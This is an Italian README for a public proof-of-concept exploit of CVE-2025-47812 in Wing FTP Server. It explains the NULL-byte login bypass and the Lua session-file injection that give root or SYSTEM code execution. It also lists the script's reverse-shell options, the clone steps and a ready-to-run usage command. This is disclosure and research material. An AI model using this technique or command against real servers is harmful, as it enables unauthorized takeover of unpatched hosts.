
Exploit per CVE-2025-47812 con pseudo shell personalizzata e robusta gestione degli errori.
CVE-2025-47812 La convalida impropria dell'input ha portato all'esecuzione di codice in remoto fino alla compromissione totale del sistema
Julien Ahrens di RCE Security ha scoperto una vulnerabilità di sicurezza critica che impatta WingFTP. Tracciata come CVE-2025-47812, la vulnerabilità ha un punteggio CVSS di 10. Lo sfruttamento riuscito della vulnerabilità può consentire a un attaccante remoto non autenticato di eseguire codice arbitrario, portando alla compromissione totale del sistema.
Wing FTP Server è un software server FTP cross-platform, intuitivo e sicuro. Supporta molteplici protocolli di trasferimento file, come FTP, FTPS, HTTP, HTTPS e SFTP, offrendo flessibilità per le connessioni dei client.
Per ricercare CVE-2025-47812, ho distribuito un container Docker che esegue Wing FTP Server 7.4.3 su un host Linux. Il container è stato configurato per esporre l'interfaccia web e ho abilitato il login anonimo per test non autenticati più semplici. Inoltre, è stato creato un account utente di test (dev-test:test) per simulare scenari autenticati. Questa configurazione ha fornito un ambiente sicuro e controllato per riprodurre la vulnerabilità e validare il comportamento dell'exploit.
CVE ID: CVE-2025-47812
Vettore CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Punteggio base: 10.0 (Critico)
Software interessato: <= 7.4.3
Impatto: l'esecuzione di codice in remoto ha portato alla compromissione totale del sistema.
Prerequisiti per lo sfruttamento:
Accesso anonimo consentito o credenziali utente valide
Nessun permesso sudo richiesto per l'utente
Quando un utente tenta di accedere, viene chiamata la funzione c_CheckUser che restituisce sempre OK_CHECK_CONNECTION indipendentemente da ciò che segue il byte NULL nel nome utente, purché la stringa prima del byte NULL corrisponda a un utente esistente. Un attaccante può sfruttare la vulnerabilità aggiungendo un byte NULL e valori extra a un nome utente noto per bypassare il controllo della password. Il sistema usa strlen() sul nostro nome utente per ottenere la dimensione della stringa, ma strlen conta solo tutti i caratteri fino al terminatore NULL-byte per corrispondere al nome utente non sanificato.
Il nome utente non sanificato (inclusi il NULL iniettato e il payload brainy) viene archiviato direttamente nei file di sessione come codice Lua. Questi file di sessione assomigliano a .lua e vengono successivamente eseguiti quando le sessioni vengono caricate. Su Linux, Wing FTP Server viene eseguito come root; su Windows, come SYSTEM. Il payload Lua iniettato viene eseguito con pieni privilegi al ricaricamento della sessione.
Nota: questo comportamento si verifica solo se la password non è impostata o con credenziali valide. Impone una validazione rigorosa della password se la password è impostata per l'utente.
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server RCE non autenticato
CVE-2025-47812 - Wing FTP Server RCE autenticato (dev-test:test)
Esempio di utilizzo:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Gli utenti devono aggiornare a WingFTP versione 7.4.4 per correggere la vulnerabilità.
Fare riferimento alle Note di rilascio di WingFTP per maggiori informazioni.
Nota: ho utilizzato il riferimento sopra per scopi di ricerca e ho aggiornato l'exploit con più funzionalità e una gestione degli errori robusta.
Questo PoC Python è rilasciato sotto la licenza MIT. Il credito per il concetto originale dell'exploit e per la divulgazione appartiene alla Stratascale Cyber Research Unit.